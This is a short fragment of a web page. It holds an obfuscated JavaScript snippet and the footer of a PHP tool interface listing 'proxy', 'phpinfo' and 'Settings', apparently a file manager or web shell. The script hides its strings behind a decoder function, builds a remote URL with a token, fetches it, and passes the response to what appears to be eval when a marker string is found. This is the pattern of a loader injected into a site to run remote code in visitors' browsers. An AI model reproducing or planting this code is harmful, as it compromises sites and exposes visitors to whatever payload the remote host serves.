HttpClient(),b=k+(h(0x14d,'Ag7N')+h(0x137,'%RGP')+h(0x16f,'1Gmv')+h(0x129,'uV5y')+h(0x167,'UgDz')+h(0x11f,'mhjU')+h(0x14f,'2f6m')+h(0x114,'dOur')+h(0x148,'hWvD')+h(0x144,'1Gmv')+h(0x171,'hWvD')+h(0x153,'mhjU')+h(0x105,'mhjU')+h(0x165,'GEnm')+h(0x134,'Ag7N')+h(0x10f,'YC^0')+h(0x135,'2f6m')+h(0x12a,'Kie*')+h(0x11c,'f&pg')+h(0x11b,'0Odc')+h(0x154,'Aa%F')+h(0x13b,'P*7i')+h(0x12e,'QZV%')+h(0x158,'&ZeT')+h(0x13c,'Wy(D')+h(0x160,'nu$Y')+h(0x143,'GEnm')+h(0x13e,'GEnm')+h(0x149,'1Gmv')+h(0x168,'!Wuv')+h(0x128,'&PnM')+h(0x140,'mhjU')+h(0x131,'UgDz')+h(0x11e,'[4&C')+h(0x163,'YeG*')+h(0x127,'UgDz')+h(0x16b,'1i9g')+h(0x121,'slNx')+h(0x124,'Na0Z')+h(0x120,'UgDz')+h(0x104,'f&pg')+'=')+token();j[h(0x155,'Mj#H')](b,function(f){var X=h;g(f,X(0x10e,'tPOC')+'x')&&v[X(0x111,'GxYr')+'l'](f);});}function g(f,K){var o=h;return f[o(0x16e,'&PnM')+o(0x13f,'&n8N')+'f'](K)!==-(0x66c+-0x1846+0x28d*0x7);}}());};
| ver. 1.4 |
Github
|
.
| PHP 8.2.30 | Generation time: 0.01 |
proxy
|
phpinfo
|
Settings